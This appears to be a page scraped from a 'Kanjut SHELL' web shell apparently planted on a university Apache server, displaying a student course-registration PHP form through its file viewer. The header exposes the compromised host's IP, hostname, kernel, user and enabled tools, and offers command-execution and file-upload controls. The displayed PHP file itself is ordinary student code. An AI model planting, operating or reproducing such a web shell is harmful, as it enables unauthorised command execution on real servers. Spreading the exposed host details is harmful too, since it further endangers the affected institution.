Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.135.209.107
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/asbright/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/asbright/public_html/studentCourseRegistration.php
<?php session_start(); ?>
<!-- studentCourseRegistration.php -->

<!doctype html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="styling.css">
<title>Student Course Registration</title>
<div style="text-align:center">
<h1>
Student Course Registration
</h1>
</div>
</head>

	<?php
		include("navbar.php");
	?>
<body>
<div style="text-align: center">
<form action=studentCourseRegistrationSelection.php method=post>
<?php
		if($_SESSION['CSCourses'] != NULL || $_SESSION['MathCourses'] != NULL)
			session_destroy();

		$name = $_POST['name'];
		$gender = $_POST['GENDER'];
		$grade = $_POST['GRADE'];
		$_SESSION['name'] = $name;
		$_SESSION['gender'] = $gender;
		$_SESSION['grade'] = $grade;

		$CSCourses = array("CS112", "CS212", "CS310", "CS311", "CS380", "CS440", "CS480");
		$MathCourses = array("Math135", "Math136", "Math171", "Math172", "Math271");

?>
<fieldset style="margin-top: 5vh">
	<legend>Computer Science Courses</legend>
	<div>

<?php
		for($i=0;$i < count($CSCourses); $i++)
		{
			print "<input type=checkbox name=CSCourses[] value=$i> $CSCourses[$i]";
			print "<br/>";
		}
?>
	</div>
</fieldset>
<fieldset style="margin-top: 5vh">
	<legend>Math Courses</legend>
	<div>

<?php
		for($i=0;$i < count($MathCourses); $i++)
		{
			print "<input type=checkbox name=MathCourses[] value=$i> $MathCourses[$i]";
			print "<br/>";
		}
?>
	</div>
</fieldset>
<div style="padding-top: 10vh; padding-left: 0vw;">
<input type=submit value=Submit>
<input type=reset value=Reset>
</div>
</form>
</div>
</body>
</html>

Stv3n404 - 2023